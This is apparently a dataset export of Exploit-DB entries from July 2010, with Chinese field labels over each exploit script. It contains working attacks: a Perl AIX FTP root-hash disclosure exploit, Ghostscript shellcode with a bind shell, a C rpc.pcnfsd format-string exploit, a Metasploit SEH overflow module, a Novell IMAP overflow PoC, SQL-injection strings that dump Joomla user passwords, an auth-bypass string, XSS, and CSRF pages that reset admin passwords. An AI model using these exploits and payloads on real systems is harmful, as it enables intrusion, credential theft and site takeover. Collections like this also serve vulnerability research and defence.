QLWD/code_shield huggingface dataset:
标题: AIX5l with FTP-Server - Hash Disclosure EDB-ID: 14409 CVE: 2010-3187 类型: REMOTE 平台: AIX 发布日期: 2010-07-18 漏洞利用脚本: ### AIXCOREDUMP.PL ---
### --== ~ AIX5l w/ FTP-SERVER REMOTE ROOT HASH DISCLOSURE EXPLOIT ~ =--
### CREATES COREDUMP INCLUDING THE ROOT USER HASH FROM /etc/security/passwd
### THE RESULT FILE IS SCRAMBLED - SEEK FOR DES LOOKING CRYPTO KEYS
### SUCCESSFULLY TESTED ON IBM AIX 5.1
### DISCOVERED & EXPLOITED BY KINGCOPE
### JULY 2010

use IO::Socket;

$|=1;

print "--== ~ AIX5l w/ FTP-SERVER REMOTE ROOT HASH DISCLOSURE EXPLOIT ~ =--\n";
print "CREATES COREDUMP INCLUDING THE ROOT USER HASH FROM /etc/security/passwd\n";
print "BY KINGCOPE\n";
print "JULY 2010\n\n";

if ($#ARGV < 1) {
 print "USAGE: ./AIXCOREDUMP.PL <target address> <your ip> [username] [password]\n";
 print "SAMPLES:\n";
 print "YOU HAVE A LOGIN ./AIXCOREDUMP.PL 192.168.1.150 192.168.1.25 kcope passwd\n";
 print "USE GUEST ACCOUNT - NEEDS WRITE ACCESS IN /PUB ./AIXCOREDUMP.PL 192.168.1.150 192.168.1.25\n";
 exit;
}

$trgt = $ARGV[0];

$sock = IO::Socket::INET->new(PeerAddr => $trgt,
                              PeerPort => '21',
                              Proto    => 'tcp');
srand(time()); 
$port = int(rand(31337-1022)) + 1025; 
$locip = $ARGV[1]; 
$locip =~ s/\./,/gi;                               

if ($ARGV[2] eq "") {
 $user = "ftp"; 
 $pass = "c0deb4b3\@roothash.com";
} else {
 $user = $ARGV[2];
 $passwd = $ARGV[3]; 
}
                        
$x = <$sock>;
print "*AIX EXPLOIT* REMOTE FTPD: $x\n";
if (fork()) {
for ($k=0;$k<3;$k++) {
print "*AIX EXPLOIT* POLLUTING FTPD***\n";
print "\t$x";
print $sock "USER root\r\n";
$x = <$sock>;
print "\t$x";
print $sock "PASS sexy\r\n";
$x = <$sock>;
print "\t$x";
}

print "*AIX EXPLOIT* ACCESSING FOLDER***\n";
print $sock "USER $user\r\n";
$x = <$sock>;
print "\t$x";
print $sock "PASS $passwd\r\n";
$x = <$sock>;
print "\t$x";

if ($ARGV[2] eq "") {
print "*AIX EXPLOIT* CWD TO PUB***\n";
print $sock "CWD pub\r\n";
$x = <$sock>;
print "\t$x";
}

print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n"; 
$x = <$sock>; 
print "\t$x";

print "*AIX EXPLOIT* TRIGGERING COREDUMP***\n";
print $sock "NLST ~" . "A" x 5000 . "\r\n";
$x = <$sock>;

while(<$sock>) {
 print;
}

print "*AIX EXPLOIT* (SUCCESS)***\n*AIX EXPLOIT* NOW RETRIEVE THE core FILE WITH YOUR FAVOURITE CLIENT AND LOOKUP THE R00T HASH++CRACKIT!***\n";
exit;
} else {
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port, Proto => 'tcp', Listen => 1); 
die "Could not create socket: $!\n" unless $servsock; 
my $new_sock = $servsock->accept(); 
while(<$new_sock>) { 
print $_; 
} 
close($servsock);  
}
## CHEERIO! URL: https://www.exploit-db.com/exploits/14409
标题: Ghostscript - '.PostScript' File Stack Overflow EDB-ID: 14406 CVE: 2010-1869 类型: LOCAL 平台: BSD 发布日期: 2010-07-18 漏洞利用脚本: ##########################################################################
# Check Point Software Technologies - Vulnerability Discovery Team (VDT) #
# Rodrigo Rubira Branco - <rbranco *noSPAM* checkpoint.com>   #
#          #
# GhostScript Stack Overflow        #
#          # 
##########################################################################

# bsd/x86/shell_bind_tcp - 214 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# AppendExit=false, PrependSetresuid=false, 
# PrependSetuid=false, LPORT=4444, RHOST=, 
# PrependSetreuid=false
my $buf = 
"\x54\x5a\xda\xd1\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43" .
"\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x50\x31\x49\x50" .
"\x46\x30\x45\x38\x4b\x4f\x44\x42\x42\x31\x51\x4c\x4d\x59" .
"\x4b\x57\x50\x50\x43\x5a\x45\x51\x42\x4a\x44\x42\x42\x4a" .
"\x44\x50\x4e\x50\x45\x31\x48\x4d\x4b\x30\x51\x47\x46\x30" .
"\x46\x30\x43\x5a\x45\x38\x51\x48\x48\x4d\x4b\x30\x4d\x59" .
"\x51\x57\x4a\x4c\x48\x30\x43\x5a\x48\x4d\x4d\x50\x4e\x50" .
"\x45\x4e\x48\x4d\x4d\x50\x50\x50\x50\x50\x43\x5a\x51\x4a" .
"\x50\x58\x48\x4d\x4d\x50\x4b\x4f\x50\x4f\x4a\x44\x43\x49" .
"\x4b\x46\x46\x30\x42\x48\x46\x4f\x46\x4f\x44\x33\x42\x48" .
"\x43\x58\x46\x4f\x43\x52\x45\x39\x42\x4e\x4b\x39\x4b\x53" .
"\x46\x30\x46\x34\x50\x53\x50\x50\x48\x30\x47\x4b\x48\x4d" .
"\x4d\x50\x41\x41";

$pkt = "e!PS".
"A" x 500 . "00001111222233334444555556666777788889999aaa".
"\x40\xd9\xbf\xbf". #Shellcode Addr
"bccccddd".
"\xef\xbe\xbf\xbf".
"ffff".
"\xff\xbf" x 100 .
"C" x (1200 - length($buf)) . $buf . "Z" x 100; 

print STDERR "Check Point Vulnerability Discovery Team (VDT)\n";
print STDERR "GhostScript 8.70 exploit for FreeBSD 8.0!\n";
print STDERR "Rodrigo Rubira Branco (BSDaemon)\n";

print STDERR "\nCreating evil pdf ...";

open(F,">crash.pdf");

print F $pkt;

close(F);

print STDERR " d0ne!\n";
print "Now print it via cupsd!\n"; URL: https://www.exploit-db.com/exploits/14406
标题: Kayako eSupport 3.70.02 - 'functions.php' SQL Injection EDB-ID: 14404 CVE: 2010-2912 2010-2911 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-18 漏洞利用脚本: Peace !!

###########################################################################
Name : Kayako eSupport v3.70.02 SQL Injection Vulnerability
Date :  july 18,2010
Vendor urL : http://www.kayako.com/solutions/esupport/
Dork :Find It !!
Author : ScOrPiOn
Greetz : Dr.Dmar & Joker_1 & HiDDen HaCkEr & GeNeRaL KbKb & And All My Friends
###########################################################################
Effect :
/includes/functions.php
###########################################################################
Here The SQL Injec .....
http://server/Kayako/index.php?_m=downloads&_a=*SQLi*
###########################################################################

Peace !! URL: https://www.exploit-db.com/exploits/14404
标题: rpc.pcnfsd - Remote Format String EDB-ID: 14407 CVE: 2010-1039 类型: REMOTE 平台: AIX 发布日期: 2010-07-18 漏洞利用脚本: /*************************************************************************
* Check Point Software Technologies - Vulnerability Discovery Team (VDT) *
* Rodrigo Rubira Branco - <rbranco *noSPAM* checkpoint.com>   *
*          *
* rpc.pcnfsd syslog format string vulnerability     *
*************************************************************************/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <rpc/rpc.h>

#define PCNFSD_PROG 150001
#define PCNFSD_VERS 1
#define PCNFSD_PR_INIT 2
#define PCNFSD_PR_START 3

struct cm_send {
   char *s1;
   char *s2;
};

struct cm_send2 {
   char *s1;
   char *s2;
};

struct cm_reply {
   int i;
};

bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp)
{
   if(!xdr_wrapstring(xdrs, &objp->s1))
      return (FALSE);
   if(!xdr_wrapstring(xdrs, &objp->s2))
       return (FALSE);

   return (TRUE);
}

bool_t xdr_cm_send2(XDR *xdrs, struct cm_send2 *objp)
{
   if(!xdr_wrapstring(xdrs, &objp->s1))
      return (FALSE);
   if(!xdr_wrapstring(xdrs, &objp->s2))
       return (FALSE);

   return (TRUE);
}

bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
{
   if(!xdr_int(xdrs, &objp->i))
      return (FALSE);
   return (TRUE);
}

int
main(int argc, char *argv[])
{
   long ret, offset;
   int len, x, y, i;
   char *hostname, *b;

   CLIENT *cl;
   struct cm_send send;
   struct cm_send2 send2;
   struct cm_reply reply;
   struct timeval tm = { 10, 0 };
   enum clnt_stat stat;

   printf("-= rpc.pcnfsd remote format string exploit, tested against AIX 6.1.0 and lower =-\n");
   printf("-= Check Point Software Technologies - Vulnerability Discovery Team (VDT) =-\n");
   printf("-= Rodrigo Rubira Branco <rbranco *noSPAM* checkpoint.com> =-\n\n");


   if(argc < 2) {
      printf("Usage: %s [hostname]\n", argv[0]);
      exit(1);
   }

   hostname = argv[1];

   send.s1 = "AAAA%n%n%n%n%n%n%n%n%n"; // Create the dir on /var/spool/pcnfs
   send.s2 = "";
   send2.s1 = "AAAA%n%n%n%n%n%n%n%n%n";// Call the dir to trigger fmt bug
   send2.s2 = "";

   printf("\nSending PCNFSD_PR_INIT to the server ... ");

   if(!(cl=clnt_create(hostname,PCNFSD_PROG,PCNFSD_VERS,"udp"))){
        clnt_pcreateerror("\nerror");exit(-1);
   }
   stat=clnt_call(cl, PCNFSD_PR_INIT, xdr_cm_send, (caddr_t) &send,
                        xdr_cm_reply, (caddr_t) &reply, tm);

   clnt_destroy(cl);

   printf("done!\n");

   printf("Sending PCNFSD_PR_START procedure ... ");

   if(!(cl=clnt_create(hostname,PCNFSD_PROG,PCNFSD_VERS,"udp"))){
        clnt_pcreateerror("\nerror");exit(-1);
   }

   cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
   stat=clnt_call(cl, PCNFSD_PR_START, xdr_cm_send2, (caddr_t) &send2,
                        xdr_cm_reply, (caddr_t) &reply, tm);

   printf("done!\n");
   clnt_destroy(cl);

} URL: https://www.exploit-db.com/exploits/14407
标题: Joomla! Component StaticXT - SQL Injection EDB-ID: 14395 CVE: 2010-2919 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-17 漏洞利用脚本: ===================================================
Joomla Component (com_staticxt) SQL Injection Vulnerability
===================================================

Author : Palyo34 & KroNicKq

Homepage : http://www.1923turk.com

===================================================


[+] Vulnerable File :


http://www.site.com/index.php?option=com_staticxt&staticfile=test.php&id=1923[SQL]


[+] ExploiT :

union+select+concat_ws(0x3a,username,password),2,3,4,5,6,7,8,9,10,11,12+from+jos_users

jos_users--


[+] G00gle Dork : :S


[+] Example :

http://www.site.com/index.php?option=com_staticxt&staticfile=test.php&id=-1923+union select+concat_ws(0x3a,username,password),2,3,4,5,6,7,8,9,10,11,12+from+jos_users


[+] Demo :

http://www.site.com/index.php?option=com_staticxt&staticfile=test1.php&id=-79+union select+concat_ws(0x3a,username,password),2,3,4,5,6,7,8,9,10,11,12+from+jos_users


===================================================
...:: Onurlu Olmak Bir Ömür Sürer Artistlik Ýse One Minute ::...
===================================================

Greetz : 1923Turk All Users URL: https://www.exploit-db.com/exploits/14395
标题: Kayako eSupport 3.70.02 - SQL Injection EDB-ID: 14392 CVE: 2010-2912 2010-2911 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-17 漏洞利用脚本: Name :Kayako eSupport v3.70.02 SQL Injection Vulnerability
Date : july 17,2010
Critical Level  : HIGH
vendor URL :http://www.kayako.com/solutions/esupport/
google dork:Help Desk Software by Kayako SupportSuite v3.70.02 
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,SeeMe,RoadKiller 
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:
eSupport incorporates Kayako's leading ticket and e-mail management support desk software, including knowledgebase, troubleshooter, news and downloads publishing tools.
#######################################################################################################
Xploit:SQli Vulnerability

http://[site]/supportsuite/index.php?_m=news&_a=viewnews&newsid=[Sqli]
#######################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/14392
标题: MoreAmp - Local Buffer Overflow (SEH) (Metasploit) EDB-ID: 14397 CVE: 2010-2439 类型: LOCAL 平台: WINDOWS 发布日期: 2010-07-17 漏洞利用脚本: #MoreAmp Seh Buffer Overflow (meta)
#Greetz:His0k4 , Bibi-info , Volc4n0
#sec4ever.com
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name' => 'MoreAmp 0.1.25 Beta Buffer Overflow (SEH)',
            'Description' => %q{
                This module exploits a SEH overflow in 0.1.25 MoreAmp Beta
            By creating a specially crafted .m3u file, an an attacker may be able
            to execute arbitrary code.
            },
            'License' => MSF_LICENSE,
            'Author' => 'MadjiX',
            'Version' => 'Version 1',
            'References' =>
                [
                    [ 'OSVDB', '65789' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/13942/' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload' =>
                {
                    'Space' => 1400,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows XP SP3 Fr', { 'Ret' => 0x7C86467B} ], # 0x7C86467B jmp esp kernel.32
 
                ],
            'Privileged' => false,
            'DisclosureDate'  => '17-07-2010',
            'DefaultTarget' => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'MadjiX.maf']),
            ], self.class)
    end
 
 
    def exploit
 
        sploit = rand_text_alphanumeric(108)
        sploit << "\xeb\x06\x90\x90"
        sploit << [target.ret].pack('V')
        sploit << payload.encoded
        sploit << rand_text_alphanumeric(400 - payload.encoded.length)
 
        maffile = sploit
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(maffile)
 
    end
 
end URL: https://www.exploit-db.com/exploits/14397
标题: Novell Groupwise Internet Agent - Stack Overflow EDB-ID: 14379 CVE: 2010-2777 类型: DOS 平台: MULTIPLE 发布日期: 2010-07-16 漏洞利用脚本: #####################################################################################
Application:   Novell Groupwise Internet Agent Stack Overflow
Platforms:   Windows, Linux, Netware (GroupWise 7.0, 7.01, 7.02, 7.03x, 7.04, 8.0, 8.01x)
Exploitation:   Remote code execution
CVE Number:   
Novell TID:  7006374
Author:   Francis Provencher (Protek Research Lab's) 
WebSite:   http://www.protekresearchlab.com/
#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

#####################################################################################

============================
2) Report Timeline
============================

2010-04-06 - Vulnerability reported to vendor
2010-07-16 - Coordinated public release of advisory
(http://www.zerodayinitiative.com/advisories/ZDI-10-129/)


#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Groupwise Internet Agent. Authentication is required to exploit this vulnerability.

The flaw exists within the IMAP functionality included with GWIA. When provided with an overly long mailbox name to the CREATE verb, the IMAP server can be forced to overflow a buffer on the stack. Successful exploitation leads to remote code execution under the context of the server.


#####################################################################################

===========
4) The Code
===========

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = '\x41' * 532

s.connect(('192.168.100.177',143))
s.recv(1024)
s.send('A001 LOGIN test@proteklab.com   test ' + buffer + '\r\n')
s.recv(1024)
s.send('A001 CREATE ' + buffer + '\r\n')
s.recv(1024)
s.close()


#####################################################################################
(PRL-2010-06) URL: https://www.exploit-db.com/exploits/14379
标题: BS Scripts Directory - 'info.php' SQL Injection EDB-ID: 14370 CVE: 2010-2905 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-15 漏洞利用脚本: #################################################################
# Exploit Title: BS Script Directory remote SQL injection vulnerability 

# Date: 15th july 2010

# Author: D4rk357

#Critical:high

#contact:d4rk357[at]yahoo[dot]in

Price : 24.95 $

# Software Link:http://www.brotherscripts.com/product_info.php?products_id=454
 
Greetz to :b0nd, Fbih2s,Beenu,rockey killer,The empty(), punter,eberly,prashant

Shoutz to : http://www.garage4hackers.com/forum.php , h4ck3r.in and  all ICW members
 
##############################################################################
Exploit url :
http://www.site.com/Scripts_Directory/info.php?id=[sqli]

 ##################################################################################
 #D4rk357 URL: https://www.exploit-db.com/exploits/14370
标题: BS Scripts Directory - 'articlesdetails.php' SQL Injection EDB-ID: 14371 CVE: 2010-2906 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-16 漏洞利用脚本: ################################################################# 
# Exploit Title: BS Script Directory (articlesdetails) remote SQL injection vulnerability  
  
# Date: 16th july 2010 
  
# Author: k4k4shi 
  
#Critical:high 
  
#contact:lvy[at]live[dot]de
  
Price : 24.95 $ 
  
# Software Link:http://www.brotherscripts.com/
     
Shoutz to : http://ahbab-dz.com/fun and all members
 
  
############################################################################## 

Exploit : 

http://www.site.com/[path]/articlesdetails.php?id=[sqli] 

 
################################################################################## 

Gretz to : IsL@mDZnEt , mca-crb , jago-dz , lagripe-dz , mr-adel & algeriannes URL: https://www.exploit-db.com/exploits/14371
标题: Pre Podcast Portal - Authentication Bypass EDB-ID: 14378 CVE: 2010-4959 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-16 漏洞利用脚本: #################################################################
# Exploit Title:  PRE PODCAST PORTAL AUTH BYPASS

# Date: 16th july 2010

# Author: D4rk357

#Critical:high

#contact:d4rk357[at]yahoo[dot]in

Price : 125$

# Software Link:http://preproject.com/podcast.asp
 
Greetz to :b0nd, Fbih2s,Beenu,rockey killer,The empty(), punter,eberly,prashant

Shoutz to : http://www.garage4hackers.com/forum.php , h4ck3r.in and  all ICW members
 
##############################################################################
Exploit : On PARTNER login page  put admin and usename and ' or '1'='1 as password . 
you will be logged into the system

 ##################################################################################
 #D4rk357 URL: https://www.exploit-db.com/exploits/14378
标题: AJ Article 3.0 - Cross-Site Scripting EDB-ID: 14354 CVE: 2010-2917 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-13 漏洞利用脚本: 1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

vendor URL :http://www.ajsquare.com/
Google Dork :Powered By: AJ Square Inc
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description 
AJArticle is developed using PHP, MySql. The core concept of the script is to share the knowledge between the users in a group. Professionals on various domains can post their articles. All the site users can read the posting made by the professionals
#######################################################################################################
Xploit: Persistent Xss Vulnerability


The attacker can insert the xss scritp in the profile section

This vuln exist in both user,author side.

Attack Pattern:">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> once inserted goto check your profile.

DEMO URL :http://server/ajarticlev3/?do=myaccount
          http://server/ajarticlev3/?do=profile&action=edit

The same issue in the article submission also.You can insert xss script in Title* option

Demo URL : http://server/ajarticlev3/?do=article&action=show

#######################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/14354
标题: Grafik CMS 1.1.2 - Multiple Cross-Site Request Forgery Vulnerabilities EDB-ID: 14342 CVE: 2010-2615 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-12 漏洞利用脚本: <!---
    Title: Grafik CMS 1.1.2 Multiple CSRF Vulnerabilities
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Mon 12 Jul 2010 07:07:22 PM EEST 
    Vendor: http://www.grafik-power.com/grafik_cms/
    Download: None
--->

-=[ CSRF PoC 1 - Change Admin Password ]=-

    <html>
        <head>
            <title>Grafik CMS 1.1.2 Multiple CSRF Vulnerabilities - Change Admin Password</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/admin/admin.php?action=edit_user&id=1" method="post">
                <!--- Edit these --->
                <input type="hidden" name="name" value="root" />
                <input type="hidden" name="username" value="root" />
                <input type="hidden" name="password" value="rootroot" />
            </form>
        </body>
    </html>
    
-=[ CSRF PoC 2 - Create Admin User ]=-
    
    <html>
        <head>
            <title>Grafik CMS 1.1.2 Multiple CSRF Vulnerabilities - Create Admin User</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/admin/admin.php?action=add_user" method="post">
                <!--- Edit these --->
                <input type="hidden" name="name" value="root" />
                <input type="hidden" name="username" value="root" />
                <input type="hidden" name="password" value="rootroot" />
            </form>
        </body>
    </html>
 
-=[ CSRF PoC 3 - Delete User ]=-

     <img src="http://[domain]/admin/admin.php?action=liste_user&del=[user id]" alt="Do you see this?" />
     
-=[ CSRF PoC 4 - Delete Page ]=-

     <img src="http://[domain]/admin/admin.php?action=liste_pages&del=[page id]" alt="Do you see this?" />
     
-=[ CSRF PoC 5 - Logout The Administrator ]=-

    <img src="http://[domain]/admin/index.php?action=deconnexion" alt="Do you see this?" />

<!---
    http://www.evilzone.org/
    irc.evilzone.org  (6697 / 9999)
---> URL: https://www.exploit-db.com/exploits/14342